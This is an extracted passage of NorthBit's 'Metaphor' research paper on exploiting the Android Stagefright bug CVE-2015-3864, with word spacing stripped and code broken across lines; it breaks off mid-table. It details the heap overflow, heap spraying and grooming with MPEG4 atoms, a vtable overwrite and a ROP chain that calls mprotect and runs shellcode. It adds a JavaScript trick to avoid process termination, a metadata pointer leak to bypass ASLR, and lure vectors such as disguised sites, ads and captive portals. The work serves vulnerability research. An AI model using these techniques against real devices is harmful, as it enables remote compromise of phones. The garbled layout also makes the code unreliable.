You are on page 1of 38

Metaphor

A(real)reallifeStagefrightexploit

Researchedandimplementedby
NorthBit1.
WrittenbyHananBeer.

Revision1.1
Represent!

http://northbit.com/

Index
Overview
Stagefright
Metaphor
ResearchGoals
TheMPEG4FileFormat
TheBugCVE20153864
Exploitation
AttackVectors
RedirectingthevtabletotheHeap
HeapShaping
HeapSpraying
HeapGrooming
ROPChainGadgets
BreakingASLR
JavaScriptCapabilities
ReturningMetadata
ReturningMetadataAfterOverflow
BypassingProcessTermination
LeakingInformation
ASLRWeaknesses
DeviceFingerprinting
Findinglibc.so
PuttingItAllTogether
FinalRequirements
Summary
Bonus
ImprovingHeapSprayEffectiveness
ImprovingExploitationTimes
ResearchSuggestions
Credits
References

Overview
Inthispaper,wepresentourresearchonproperlyexploitingoneofAndroidsmostnotorious
vulnerabilitiesStagefrightafeatpreviouslyconsideredincrediblydifficulttoreliablyperform.
Ourresearchislargelybasedon
exploit382262byGoogleandtheresearchblogpostin
Google
3
ProjectZero:Stagefrightened .

Thispaperpresentsourresearchresults,furtherdetailsthevulnerabilityslimitationsand
depictsawaytobypassASLRaswellasfutureresearchsuggestions.

TheteamhereatNorthBithasbuiltaworkingexploitaffectingAndroidversions2.24.0and
5.05.1,whilebypassingASLRonversions5.05.1(asAndroidversions2.24.0donot
implementASLR).

Stagefright
th
StagefrightisanAndroidmultimedialibrary.Itdidntgetmuchattentionuntil
July27
2015,when
severalofitscriticalheapoverflowvulnerabilitieswerediscoveredanddisclosed.

Theoriginal
vulnerabilitywasfoundbyJoshuaDrakefromZimperium4
,affectingAndroidversions1.05.1.

Fromhereonweshallrefertothelibraryaslibstagefrightandtothebugitselfsimplyas
stagefright.

Althoughthebugexistsinmanyversions(nearlya1,000,000,000devices)itwasclaimed
impracticaltoexploitinthewild,mainlyduetotheimplementationofexploitmitigationsinnewer
Androidversions,specificallyASLR.

Metaphor
Metaphoristhenameofourstagefrightimplementation.Wepresentamorethoroughresearch
oflibstagefrightandnewtechniquesusedtobypassASLR.LiketheteamatGoogle,weexploit
CVE201538645asitismuchsimplertoimplementratherthanthevulnerabilityinJoshua
Drakesexploit,
CVE201515386 .

https://www.exploitdb.com/exploits/38226/

http://googleprojectzero.blogspot.co.il/2015/09/stagefrightened.html
4
JoshuaDrakespresentation:
https://www.blackhat.com/docs/us15/materials/us15DrakeStagefrightScaryCodeInTheHeartOfAndro
id.pdf
5

http://cve.mitre.org/cgibin/cvename.cgi?name=CVE20153864
6

https://cve.mitre.org/cgibin/cvename.cgi?name=CVE20151538
2
3

ResearchGoals
Thereasontokeepresearchingthislibraryisbecauseithasproventobeveryvulnerableinthe
past(multiplebugsandbadcode),affectsnumerousdevicesandhasmanygoodpotential
attackvectors:mms(stealthy),instantmessaging(automatic),webbrowser(minimaltonouser
interaction)andmore.

Weaimtoachieveamoregenericandpracticalexploitthanpreviouslypublishedwork,where
practicalmeans
fast
,
reliable
and
stealthy
ideallyusingexistingvulnerabilitiesonly.

InshortourgoalistobypassASLR.

TheMPEG4FileFormat
TounderstandthisvulnerabilityitisnecessarytounderstandtheMPEG4fileformat.Luckilyit
isquitesimple:itisacollectionofTLV(TypeLengthValue)chunks.Thisencodingmethod
meanstheresavaluecalled
type
specifyingthechunktype,a
length
valueofthedatalength
anda
chunk
valueofthedataitself.

InthecaseofMPEG4,theencodingisactually
length
first,then
typea
ndfinally
value.
The
followingpseudoCdescribestheMPEG4chunkformat:
struct
TLV
{

uint32_t
length;

char
atom
[
4
];

char
data
[
length
];
};

When
length
is0,datareachesuntiltheendoffile.The
atom
fieldisashortstring(alsocalled
FourCC7)thatdescribesthechunktype.

Typesthatrequiremoreinformationthan2^32bytesuseaslightlydifferentformat:
struct
TLV64
{

uint32_t
one
;

//specialconstant
length

char
atom
[
4
];

uint64_t
length64
;

//actual
length

char
data
[
length64
];
};

Thetypesareinatreestructurewherechildchunksresidewithinthedataoftheparentchunk.

Thefollowingisadiagramofhowamediafilemightlooklike:

https://en.wikipedia.org/wiki/FourCC

TheBugCVE20153864
Manyarticleshavebeenwrittenaboutthisverysamebug,soaquickoverviewwillsuffice.
Wereusing
Android5.1.0sourcecode8unlessstatedotherwise.

ThisspecificbuginlibstagefrightinvolvesparsingMPEG4files,ormorespecificallythe
tx3g
atomwhichisusedtoembedtimedtext(subtitles)intomedia.

First,letsseewhatthecodeismeanttodo.

MPEG4Extractor.cpp:1886
:

case
FOURCC
(
't'
,

'x'
,

'3'
,

'g'
):
{

uint32_t
type;

const

void

*
data;

size_t
size
=

0;

/*findprevioustimedtextdata*/

if

(!
mLastTrack
>
meta
>
findData(
kKeyTextFormatData
,

&
type
,

&
data
,

&
size
))
{

/*noprevioustimedtextdata*/
size
=

0;
}

/*allocateenoughmemoryforboththeoldbufferandthenewbuffer*/

uint8_t

*
buffer
=

new

(
std
::
nothrow
)

uint8_t
[
size
+
chunk_size
];

if

(
buffer
==
NULL
)
{

return
ERROR_MALFORMED;
}

/*iftherewasanyprevioustimedtextdata*/

if

(
size
>

0
)
{

/*copythedatatothebeginningofthebuffer*/
memcpy
(
buffer
,
data
,
size
);
}

/*append(orset)currenttimedtextdata*/

if

((
size_t
)(
mDataSource
>
readAt
(*
offset
,
buffer
+
size
,
chunk_size
))
<chunk_size){

/*errorreadingfromfileshouldn'thappenonvalidmedia*/

delete
[]
buffer;
buffer
=
NULL;

//advancereadpointersowedon'tendupreadingthisagain

*
offset
+=
chunk_size;

/*signalareaderroroccurred*/
8

http://androidxref.com/5.1.0_r1/xref/frameworks/av/media/libstagefright/MPEG4Extractor.cpp


return
ERROR_IO;
}

/*settimedtextdatatothenewbufferwillreplacetheoldone*/
mLastTrack
>
meta
>
setData(
kKeyTextFormatData
,

0
,
buffer
,
size
+
chunk_size
);

delete
[]
buffer;

/*eachchunkhandlesadvancingoffset*/

*
offset
+=
chunk_size;

break;
}

Quitesimplethiscodecollectsalltimedtextchunksandappendsthemintoonesinglelong
buffer.

Both
size
and
chunk_size
areuncheckedandinourcontrol,allowingustocauseaninteger
overflowhere:
MPEG4Extractor.cpp:1896
:
uint8_t

*
buffer
=

new

(
std
::
nothrow
)

uint8_t
[
size
+
chunk_size
];

Toachieveaheapoverflowweneedtohaveatleastonelegit
tx3g
chunk,bothfortheinteger
overflowpartandforthiscondition:
MPEG4Extractor.cpp:1901
:

/*iftherewasanyprevioustimedtextdata*/

if

(
size

>

0
)
{

/*copythedatatothebeginningofthebuffer*/

memcpy
(
buffer
,
data
,
size
);
}

whichwillresultin
size
bytesfrom
data
tobewritteninto
buffer
regardlessof
buffer
sactual
allocatedsize.

Bycarefullyshapingtheheapwecan:
Control
size
howmuchtowrite
Control
data
whattowrite
Predictwhereourobjectwillbeallocated
Allocatedsize(
size+chunk_size)
isinourcontrol
Androidusesjemallocasitsheapallocator(whichwecoverlaterinthispaper)

Consideringthis,itseemsexploitationshouldbeprettysimplewevegotaheapoverflowwith
sizeanddatainourcontrol.Unfortunatelytherearemanylimitations,whichcomplicate
exploitationsignificantly.

Exploitation
Inthissectionwewilldescribehowourexploitworks,itslimitationsandthediscoveriesthat
madeexploitationpossible.

AttackVectors
Thevulnerabilityisinmedia
parsing
,whichmeansthatthevictimsdevicedoesntevenneedto
playthemediajustparseit.Parsingisdoneinordertoretrievemetadatasuchasvideolength,
artistname,title,subtitles,comments,etc.

OurfinalattackvectorisviathewebbrowseraswerequireexecutingJavaScript,whichhasits
strengthsandlimitations.Methodstolurevictimsintoourmaliciouswebpagemayinclude:
Attackwebsite
Couldbedisguisedwatchthe
<latestmovie>
fullHDonline
Hackedwebsite
Couldlooklegitwithhiddencontent(iframes,invisibletags...)
XSS
Trustedwebsitewithmaliciouscontent
Ads9
Onlyin
<script>
or
<iframe>
tags
Driveby
FreeWiFi
Automaticallypopupwebbrowserwithmaliciouscontentusingacaptive
portal10
ManintheMiddleinjectmaliciousnetworktraffic
QRcodeonbusstationsofferinggameswhilewaitingforthebus

Someoftheattackvectorsthatwillnotworkwithourmethodinclude:
Web
Ads
Legitimate(ornot)adsasvulnerablemedia
Blogorforumpost
Embeddedmedia
MMSautomaticallyfetchedandparsed
DisabledonAndroid5.1+
InstantMessaging
WhatsApp,Telegram,Viber,Skype,FacebookMessenger,etc.
Datingapps
Vulnerablemediainattackersprofile

requiresexecutingJavaScript

https://en.wikipedia.org/wiki/Captive_portal

10

Thevictimalsohastolingerforatimeintheattackwebpage.Socialengineeringmayincrease
effectivenessofthisvulnerabilityoranymethodtoattackthevictimregularly,suchas
changingthehomepage.

RedirectingthevtabletotheHeap
Letsreviewthevulnerablepieceofcodeonceagain:

MPEG4Extractor.cpp:1901
:

if

(
size
>

0
)
{

/*ouroverflowwilloccurhere*/
memcpy
(
buffer
,
data
,
size
);
}

/*virtualtablecall,partialcontrolofparameters*/

if

((
size_t
)(
mDataSource
>
readAt
(*
offset
,
buffer
+
size
,
chunk_size
))
<chunk_size){

/*cannotavoidenteringthisblock*/

delete
[]
buffer;
buffer
=
NULL;

//advancereadpointersowedon'tendupreadingthisagain

*
offset
+=
chunk_size;

/*thisisprettymuchtheendoftheroadforus*/

return
ERROR_IO;
}

Thesimplestwaytoexploitthiswouldbetoshapetheheapsothatthe
mDataSourceo
bjectis
allocatedrightafterouroverflowedbufferandthen(usingthebug)overwrite
mDataSource
s
virtualtabletoourownandsettherespective
readAt
entrytopointtoourownmemory.Thisis
how
exploit38226
wasimplemented.

Givesusfullcontrolofthevirtualtable
Redirectinganymethodtoanycodeaddress
Requiresknowingorguessingourfaketablesaddress
Predictableasshownby
GoogleProjectZero:Stagefrightened
Requiresknowinglibc.sofunctionaddressesforROPchaingadgets
i.e.breakingASLR!

HeapShaping
TounderstandMetaphorbetterandhowASLRisbypasseditisimportanttounderstandhow
Androidsheapallocatorworksjemalloc11 .

11

jemallocimplementationdetails:
https://people.freebsd.org/~jasone/jemalloc/bsdcan2006/jemalloc.pdf

Fornowallyouneedtoknowisthatjemallocallocatesobjectsofsimilarsizesinthesame
run.

A
run
isbasicallyanarrayofbuffersofthesamesizecalled
regions.
Objectssizesslightly
smallerthantherespectiveregionsfixedsizewillberoundedup.
Thefollowingdiagram,borrowedfromagreat
jemallocpaper12,illustratesthiswell:

jemallocpaperfromanhackerspointofview,byPatroklosArgyroudisandCharitonKaramitas:
https://media.blackhat.com/bhus12/Briefings/Argyoudis/BH_US_12_Argyroudis_Exploiting_the_%20jemall
oc_Memory_%20Allocator_WP.pdf
12

HeapSpraying
Heapsprayingisdoneusingthe
psshatom.
Whentheparserencountersa
pssh
chunk,it
allocatesabufferandappendsittoalistofbuffers:
MPEG4Extractor.cpp:1123
:
pssh
.
data
=

new

(
std
::
nothrow
)

uint8_t
[
pssh
.
datalen
];

if

(
pssh
.
data
==
NULL
)
{

return
ERROR_MALFORMED;
}
ALOGV
(
"allocatedpssh@%p"
,
pssh
.
data
);

ssize_t
requested
=

(
ssize_t
)
pssh
.
datalen;

if

(
mDataSource
>
readAt
(
data_offset
+

24
,
pssh
.
data
,
requested
)

<
requested
)
{

return
ERROR_IO;
}
mPssh
.
push_back
(
pssh
);

Wecontrolitssizeandwecanprovideverylargevalues.Itslimitationisthatthemediafilehas
toincludedataofthatsizebutweshallseelaterhowtoovercomethislimitation.

HeapGrooming
Heapgroomingisdifferentthansimplysprayingtheheapbyallocatingmanyobjects.By
controllingtheorderofallocationsanddeallocations,wecandesigntheorderofheapobjectsin
apredictablefashion.In
exploit38226
thisisdoneusing
avcC
and
hvcC
chunks:
MPEG4Extractor.cpp:1619
:

case
FOURCC
(
'a'
,

'v'
,

'c'
,

'C'
):

*
offset

+=
chunk_size
;

sp
<
ABuffer
>

buffer

new

ABuffer
(
chunk_data_size
);

if

(
mDataSource
>
readAt
(

data_offset
,
buffer
>
data
(),
chunk_data_size
)

<
chunk_data_size
)

return
ERROR_IO
;

mLastTrack
>
meta
>
setData
(

kKeyAVCC
,
kTypeAVCC
,
buffer
>
data
(),
chunk_data_size
);

break
;
}

(The
hvcC
isvirtuallyidentical)

Theparserallocatesabufferofcontrolledsizeandthenpassesitto
MetaData::setData
.
The
MetaData::setData
methodthencopiesthedataintoanewbufferandthendeletesthe
previousentrywhosesizeisalsoinourcontrol.

Thismethodwasinconsistentbetweendifferentdevices,perhapsduetodifferentjemalloc
configurationsandthetwoallocationsofthesamesizeonetemporarybufferin
MPEG4Extractor::
parse3GPPMetaData
andanotherfortheinternal
MetaData
object.

AmoregenericmethodforheapgroomingistousetheMPEG4atoms
titl
,
pref
,
auth
and
gnre
.
Theseareparsedinside
MPEG4Extractor::parse3GPPMetaData:

MPEG4Extractor.cpp:2419
:

case
FOURCC
(
't'
,

'i'
,

't'
,

'l'
):
{
metadataKey
=
kKeyTitle;

break;
}
case
FOURCC
(
'p'
,

'e'
,

'r'
,

'f'
):
{
metadataKey
=
kKeyArtist;

break;
}
case
FOURCC
(
'a'
,

'u'
,

't'
,

'h'
):
{
metadataKey
=
kKeyWriter;

break;
}
case
FOURCC
(
'g'
,

'n'
,

'r'
,

'e'
):
{
metadataKey
=
kKeyGenre;

break;
}

mFileMetaData
>
setCString
(
metadataKey
,

(
const

char

*)
buffer
+

6
);

The
MetaData::setCString
methodcopiesanullterminatedstringstartingfrombuffer+6:
MetaData.cpp:60
:
bool

MetaData
::
setCString
(
uint32_t
key
,

const

char

*
value
)
{

return
setData
(
key
,
TYPE_C_STRING
,
value
,
strlen
(
value
)

1
);
}

Wecontrolthetemporarybuffersizewith
chunk_size
andtheactualcopiedbufferwiththe
positionofanullbyte,enablingustoallocatethetemporaryobjectinadifferentrunandgiving
usgreaterflexibilityinexploitation.

Notethatonceweaddanalreadyexistingentryto
MetaData
,itreplacestheoldentry.The
aforementionedMPEG4atomsprovideusfouridenticalprimitivestocontroltheheap.

Inordertooverwrite
mDataSource
,weneedtomoveitfurtherdowntheheaptoalocationfor
whichwecanpredicttheheapsorder.Thisisdoneasin
exploit38226
,usingthe
stbl
atomthat
reallocates
mDataSource
:

MPEG4Extractor.cpp:867
:
if

(
chunk_type
==
FOURCC
(
's'
,

't'
,

'b'
,

'l'
))
{
ALOGV
(
"sampleTablechunkis%"

PRIu64

"byteslong."
,
chunk_size
);

if

(
mDataSource
>
flags
()

&

(
DataSource
::
kWantsPrefetching

DataSource
::
kIsCachingDataSource
))
{
sp
<
MPEG4DataSource
>
cachedSource=

new
MPEG4DataSource
(
mDataSource
);

if

(
cachedSource
>
setCachedRange
(*
offset
,
chunk_size
)

==
OK
)
{

mDataSource
=
cachedSource;
}
}

mLastTrack
>
sampleTable
=

new

SampleTable
(
mDataSource
);
}

Notethatthe
stbl
atomallocatesanew
MPEG4DataSource
sinceourattackvectorisviathe
webbrowser,
mDataSource
isoftype
NuCachedSource2a
nd
NuCachedSource2::flags
is:
NuCachedSource2.cpp:288
:
return

(
flags
|
kIsCachingDataSource
);

ThefollowingdiagramillustratestheprocessofgroomingtheheaptooverflowmDataSource:


The
pssh
atomsareusedtospraytheheapsuchthatnewheaprunswithpredictableorderare
used.Thenthe
titl
and
gnre
atomsareusedasplaceholdersfirst
titl
andthen
gnre
are
allocated,
gnre
isdeallocatedandthenweallocatean
MPEG4DataSource
usingthe
stbl
atom.

Whenwedeallocate
titl
thatblockisfreedthusthenextallocation,the
tx3g
atom,willtakeits
place.

ROPChainGadgets
SlightchangestotheROPchainpresentedinGoogles
exploit38226
weremade.
Forexample,
mmap
and
memcpy
wereusedtoallocatetheshellcodewheninfactthereis
alreadyabufferwhoseaddressisknown:

#addressofthebufferweallocateforourshellcode
mmap_address
=

0x90000000

Wecansimplyreplacethesetwogadgetswith
mprotect
.
(Notethatthisaddressmaynotbethesameforalldevices)

Complexgadgetswereusedtopoptoomanyunneededparametersfromthestackandthus
complicatingtheROPchain.Instead,wesimplyusepop{pc}andpop{r0,r1,r2,pc}
instructionsonly.

Thesamestackpivotgadgetisused,asshownin
GoogleProjectZero:Stagefrightened
:
R2
,
R0
,

#0x4C
R2
,

{
R4
,
R5
,
R6
,
R7
,
R8
,
R9
,
R10
,
R11
,
R12
,
SP
,
LR}
SP
,

#0
LR
,

#0
botch_0
;
wewon
'
ttake
this
branch
,

as
wecontrollr
R0
,
R1
R0
,

#0
R0
,

#1
LR

ADD
LDMIA
TEQ
TEQNE
BEQ
MOV
TEQ
MOVEQ
BX

Thiswillloadmostoftheregisters,includingthestackpointer,fromanoffsetonr0,which
pointstodatawecontrol.AtthispointitsthentrivialtocompletetheexploitwithaROPchainto
allocatesomeRWXmemory,copyinshellcodeandjumptoitusingonlyfunctionsandgadgets
fromwithinlibc.so.(GoogleProjectZero)

Thesearethefouraddressesneededtoknowforourremotecodeexecutionexploit:

1.Callvoidfunction:
pop
{
pc}
2.Callfunctionwithupto3parameters:
pop
{
r0
,
r1
,
r2
,
pc}
3.Replacestackandcallshellcode:
add
ldm

bx

r2
,
r0
,

#76
;0x4c
r2
,

{
r4
,
r5
,
r6
,
r7
,
r8
,
r9
,
r10
,
r11
,
r12
,
sp
,
lr}

lr
4.Andmprotect,usedtomarkaregionasexecutableandreturn:

bx
lr

Wealreadyknowtheexactsizeof
mDataSource
whichisoftype
MPEG4DataSource
atthe
timeoftheoverflow:
(
gdb
)
p
/
x
sizeof
(
android
::
MPEG4DataSource)
$2
=

0x20

andasshowninIDA,readAtsoffsetinthevtableis7:

readAt
soffsetinbytesis:

sizeof
(
void
*)

0x1c

Inalldevicestested,boththesizeof
MPEG4DataSource
andtheoffsetof
readAt
remainedthe
same.

ThefinalROPchainlookslikethisonthestack,showingwhichregistercopiesthatentry:
pc=stackpivotgadget
pc=pop
{
r0
,
r1
,
r2
,
pc}gadget
r0
=
shellcodepagealignedaddress
r1
=
size(ofshellcode)
r2
=
protection(7=RWX)
pc
=
mprotectaddress
pc=pop
{
r0
,
r1
,
r2
,
pc}gadget
r0
=
shellcodeparam1
r1
=
shellcodeparam2
r2
=
shellcodeparam3
pc
=
shellcodeaddress

Therestofthecodeexecutionexploitissimilarto
exploit38226
.

BreakingASLR
BreakingASLRrequiressomeinformationaboutthedevice,asdifferentdevicesuseslightly
differentconfigurationswhichmaychangesomeoffsetsorpredictableaddresseslocations.

Usingthesamevulnerability,itispossibletogainarbitrarypointerreadtoleakbacktotheweb
browserandgatherinformationinordertobreaktheASLR.
However,ourabilitytoreadmemoryisverylimited,astherearemanylimitationsforthis
vulnerability.

JavaScriptCapabilities
Sinceweareattackingviathewebbrowser,weassumewecanexecuteJavaScript.
MetadataencodedinsidethemediafilecanbeaccessedthroughJavaScriptusingcertain
<video>tagproperties,suchas
videoWidth,

videoHeighta
nd
duration.

Wecanusetheheapoverflowvulnerabilitytooverwriteapointertothismetadatatoarbitrary
memorylocationssothatarbitrarymemorycanbesentbacktothebrowserandthenbecome
accessiblebyJavaScript.

ReturningMetadata
Allmetadataisstoredwithinthe
MetaData
class.Themediahasitsownmetadatacalled
mFileMetaData
:
MPEG4Extractor.h:98
:
sp
<
MetaData
>

mFileMetaData
;

Andeach
Track
hasitsown
meta
field:
MPEG4Extractor.h:75
:
struct

Track
{

sp
<
MetaData
>
meta;

};

Themetadatawillonlybereturnedtothebrowserif
mInitChecki
ssettoOK:

MPEG4Extractor.cpp:396
:
sp
<
MetaData
>
MPEG4Extractor
::
getMetaData
()
{

status_t
err;

/*ReturnsemptymetadataifresultisnotOK*/

if

((
err
=
readMetaData
())

!=
OK
)
{

return

new

MetaData;
}

return
mFileMetaData;
}

and
mInitCheck
isonlybeingsetwhenparsingthe
moov
atom:

MPEG4Extractor.cpp:940
:

else

if

(
chunk_type
==
FOURCC
(
'm'
,

'o'
,

'o'
,

'v'
))
{

/*Thisbasicallymeansatleastsomemetadataexists*/
mInitCheck
=
OK;

if

(!
mIsDrm
)
{

return
UNKNOWN_ERROR
;

//Returnadummyerror.

else
{

return
OK;
}
}

Includinga
moov
chunkearlyenoughinthemediafileguaranteesthatmetadataissentback
tothewebbrowser.

Note:thisdoesnotworkonAndroidversions4.4.4andbelow.Thecodefortheseversions
seemstoonlyacceptamoovchunkthatcontainstheentireremainderofthefile.Otherwise,
14
oncethe
moov
chunkendsthen
UNKNOWN_ERROR
isreturnedasthereisno
DRM13,

contentandboththeMPEG4atoms
sidx
and
moof
terminatesparsing:

MPEG4Extractor.cpp:470
:(Androidversion4.4.4)
status_t
MPEG4Extractor
::
readMetaData
()
{

while

(
true
)
{

err
=
parseChunk
(&
offset
,

0
);

if

(
err
==
OK
)
{

continue;
}

uint32_t
hdr
[
2
];

if

(
mDataSource
>
readAt
(
offset
,
hdr
,

8
)

<

8
)
{

break;
}

uint32_t
chunk_type
=
ntohl
(
hdr
[
1
]);

if

(
chunk_type
==
FOURCC
(
's'
,

'i'
,

'd'
,

'x'
))
{

//parsethesidxboxtoo

/*continueforjustonelastrunandreturnsUNKNOWN_ERROR*/

continue;

else

if

(
chunk_type
==
FOURCC
(
'm'
,

'o'
,

'o'
,

'f'
))
{

//storetheoffsetofthefirstsegment
mMoofOffset
=
offset;
}

break;

SothismethodisonlyapplicabletoAndroidversions5.05.1.

13
14

https://en.wikipedia.org/wiki/Digital_rights_management
itisworthtonotethatDRMwasnotlookedintoenoughduringthisresearch

ReturningMetadataAfterOverflow
Unfortunately,wecannotreusethesamemediafiletoexecutemultipleoverflow
Wecannotavoidreturning
ERROR_IO
from
MPEG4Extractor::parseChunk
aftertriggeringthe
tx3g
bug:
MPEG4Extractor.cpp:1905
:
if

((
size_t
)(
mDataSource
>
readAt
(*
offset
,
buffer
+
size
,
chunk_size
))
<chunk_size){

delete
[]
buffer;
buffer
=
NULL;

//advancereadpointersowedon'tendupreadingthisagain

*
offset
+=
chunk_size;

return
ERROR_IO;
}

Thereturnvalueisconvertedto
size_t
(32bit)andcomparedto
chunk_size
(64bit)whichis
muchgreaterthan2^32inordertoachieveintegeroverflow.

The
MPEG4Extractor::parseChunk
methodacceptsachunk
offset
andchunk
depth.
This
methodparsesthechunkandhandlesadvancing
offset.

MPEG4Extractor.cpp:762
:
status_t
MPEG4Extractor
::
parseChunk
(
off64_t

*
offset
,

int
depth
)
{

ForcertainMPEG4atoms,itwillalsoparseinnerchunksrecursively.Ifparsingwas
successful,
offset
willadvancetotheendofthechunk.

Aftercausinganoverflowwithverylargevalues,wereturnherefrom
tx3g
parsing:
MPEG4Extractor.cpp:906
:
/*insidetheparseChunkmethod*/
while

(*
offset
<
stop_offset
)
{

/*recursivecalltoparseChunk*/

status_t
err
=
parseChunk
(
offset
,
depth
+

1
);

/*ifERROR_IOisreturnedtherecursionwillexit*/

if

(
err
!=
OK
)
{

return
err;
}
}

whichinturnbringsusto:
MPEG4Extractor.cpp:484
:
status_t
MPEG4Extractor
::
readMetaData
()
{

while

(
true
)
{

off64_t
orig_offset
=
offset;
err
=
parseChunk
(&
offset
,

0
);

/*ifERROR_IOreturnedstopparsingchunksbyexitingtheloop*/

if

(
err
!=
OK
&&
err
!=
UNKNOWN_ERROR
)
{

break;
}

return
mInitCheck;
}

Soif
ERROR_IO
isreturnedthenallparsingisstopped:
MPEG4Extractor.cpp:484
:
status_t
MPEG4Extractor
::
readMetaData
()
{

while

(
true
)
{

off64_t
orig_offset
=
offset;
err
=
parseChunk
(&
offset
,

0
);

if

(
err
!=
OK
&&
err
!=
UNKNOWN_ERROR
)
{

break;
}
}

/*mInitCheckmustbeOKforthemetadatatoreturn*/

return
mInitCheck;
}

meaningwecannotreusethesamemediafiletoexecutemultipleoverflows.

BypassingProcessTermination
W
henusingHTTPtostreamvideos,
mDataSource
willbeoftype
NuCachedSource2.

Themethod
NuCachedSource2::readAt
,pointedbymDataSource>readAt,triggersacallto
NuCachedSource2::readInternal
whichwillterminatemediaserverif
size
isreallylarge:

NuCachedSource2:579
:

ssize_t

NuCachedSource2
::
readInternal
(
off64_t
offset
,

void

*
data
,

size_t
size
)
{
CHECK_LE
(
size
,

(
size_t
)
mHighwaterThresholdBytes
);

CHECK_LE
willterminatetheprocessonfailure,andsinceitisinverylargeinordertoexploit,
thecheckin
NuCachedSource2::readInternal
willalwaysfailonceweattempttoexploitthebug.

Toavoidprocesstermination,weneedtobypassthecallto
NuCachedSource2::readInternal.

ByloadingmediafromJavaScriptusing
XMLHttpRequest
with
responseType=blob,
the
browsercachesthevideointhefilesystem.UsingURL.createObjectURL,wecanreferencethat
cachedfilelikethis:
<html>

<body

onload
=
"
load_video
();
">

<video

id
=
"vid_container"

controls

autoplay

/>

<script>

function
load_video
()
{


var
xhr
=

new

XMLHttpRequest;
xhr
.
responseType
=

'blob';

xhr
.
onreadystatechange
=

function
()
{

/*DownloadiscompletewhenreadyStateis4*/

if

(
xhr
.
readyState
==

4)
{

/*GetaURLtoreferencethatblobobject*/

var
url
=
URL
.
createObjectURL
(
xhr
.
response
);

var
media
=
document
.
getElementById
(
'vid_container'
);

/*Loadmediafromthatcachedobject*/
media
.
src
=
url;
alert
(
url
);
}

};

xhr
.
open
(
'GET'
,

'test.mp4'
,

true
);
xhr
.
send
();
}

</script>

</body>
</html>

The
URL.createObjectURL
functioncreatesaURLtoreferencethechunkofdatain
xhr.response
.
HeresanexampleofanobjectURL:
blob
:
http
:
//metaphor/107e0bf5df274bb8b55206271dde7b1c

WhenChrometriestoaccess
blob
URLs,itactuallyaccessesthemasalocalresource.We
canseethefileinChromescache:(lsashowshiddenfiles)
root@metaphor:/#lsa/data/data/com.android.chrome/cache
.com.google.Chrome.elLxlx
Cache
CrashReports
MediaCache
com.android.opengl.shaders_cache

andindeedmediaserverhasanopenfiledescriptorpointingthere:(lslfollowslinks)

root@metaphor:/#lsl/proc/`pidofmediaserver`/fd
0>/dev/null
1>/dev/null

21>/data/data/com.android.chrome/cache/.com.google.Chrome.elLxlx

SincethisURLpointstothefilesystem,mediaserversetsthedatasource(
mDataSource
inour
case)toanobjectofthe
FileSource
classinsteadofthe
NuCachedSource2
class.
Thedifferencebetweentheseclassesisthat
NuCachedSource2
handlesHTTPstreamingand
cachingofonlinemediawhile
FileSource
canperformseekandreadoperationsonlocalfiles.

The
FileSource::readAt
methoddoesnotuseany
CHECK_xx
macroswhichmeanswe
bypasstheprocessterminationproblem!

LeakingInformation
Asmentionedbefore,mediaserverparsesandsendsmetadatafromwithinthemediafileback
tothewebbrowser.Themetadataisstoredinside
MetaData
objects,thatstorealldataintheir
mItems
fields,whichareessentiallyadictionaryofFourCC(4characterscode)keysto
MetaData::typed_data
values:

MetaData.h:279
:

KeyedVector
<
uint32_t
,
typed_data
>
mItems;

And
typed_data
isdeclaredinthesamefile:

MetaData.h:238
:
struct
typed_data{

uint32_t
mType;

size_t
mSize;

union
{

void

*
ext_data;

float
reservoir;

}
u;
}

If
mSize
islargerthan4,
ext_dataw
illpointtomemorywherethedataisheld.Otherwise,
reservoir
willcontainthedata.Notethatthisisaunion,meaning
ext_data
and
reservoir
both
sharethesameaddress.

KeyedVector
objectsstoredataintheir
mStoragef
ield(inheritedby
VectorImpl
class):
VectorImpl.h:125
:
void

*
mStorage
;

//baseaddressofthevector

ThecontentsofmStorageisanarrayofkeysand
MetaData::typed_data
elements.Hereishow
itlookslikeinGDB:

Breakpoint

4
,
android
::
MetaData
::
setInt64
(
this
=
0xb460b080
,
key
=
key@entry
=
1685418593
,
value
=
362
)
atframeworks
/
av
/
media
/
libstagefright
/
MetaData
.
cpp
:
68
(
gdb
)
x
/
16wx
$r0
0xb48101e0
:

0xb65c8df0

0xb480f300

0xb65c8dc0

0xb4818110
0xb48101f0
:

0x00000004

0x00000000

0x00000010

0x00000000
0xb4810200
:

0x6c707061

0x74616369

0x2f6e6f69

0x6574636f
0xb4810210
:

0x74732d74

0x6d616572

0x00000000

0x00000000

(
gdb
)
x
/
16wx

*($r0+0x0c)
0xb4818110
:

0x64486774

0x696e3332

0x00000004

0x000000cc
0xb4818120
:

0x64576964

0x696e3332

0x00000004

0x000001e0
0xb4818130
:
0x6d696d65
0x63737472
0x00000019
0xb4810200
0xb4818140
:

0x74724944

0x696e3332

0x00000004

0x00000001

Fromtheexampleabove:
0xb4818130
:

0x6d696d65
mime

0x63737472
cstr

0x00000019
25bytes

0xb4810200
application/octetstream

Byoverwritingthecontentsofthe
mStorage
arrayitself,wecanoverwritemetadatapointersto
pointtoarbitrarylocationsinmemory,thusleakinginformationbacktothewebbrowser!

Notethatanysizelargerthan4isapointer,butwealsocontrolthesizeweavoidusing
pointersforunusedorunneededmetadatafieldsbysettingtheirsizesto4orless.Evenforthe
mandatorymimetypefield,wecansimplysetittoanullterminatedstringofsize4orless.

Because
mSize
mustbegreaterthan4,wecanonlyachieveamemoryleakthroughthe
duration
fieldwhichis8byteslongandthusalsoapointer.Thesizesof
videoWidth
and
videoHeight
fieldsareonly4bytesandhencecannotbeusedtoleakmemory.Settingssizes
largerthan4forthesefieldswillcausetheprocesstoterminate.

KeyedVector<key,value>
storesitsdatausing
SortedVector<k
ey_value_pair_t<
key,value>>.

Whenanewvalueisaddedtoa
KeyedVector,

thevalueisinsertedtothesortedvectorsuch
thattheorderofelementsremainssortedbykey.

Heresanotherexampleofraw
KeyedVector
datafromametadatarichmediafile,showinghow
itissortedbykey:

ADDRESS

KEY

TYPE

SIZE

VALUE

0xb4409610
:

0x61766363

0x61766363

0x00000027

0xb4420038
0xb4409620
:

0x64486774

0x696e3332

0x00000004

0x000000cc
0xb4409630
:

0x64576964

0x696e3332

0x00000004

0x000001e0
0xb4409640
:

0x64757261

0x696e3634

0x00000008

0xb284b070
0xb4409650
:

0x66726d52

0x696e3332

0x00000004

0x00000018
0xb4409660
:

0x68656967

0x696e3332

0x00000004

0x000000cc
0xb4409670
:

0x696e7053

0x696e3332

0x00000004

0x0000efa5
0xb4409680
:

0x6c616e67

0x63737472

0x00000004

0x00646e75
0xb4409690
:

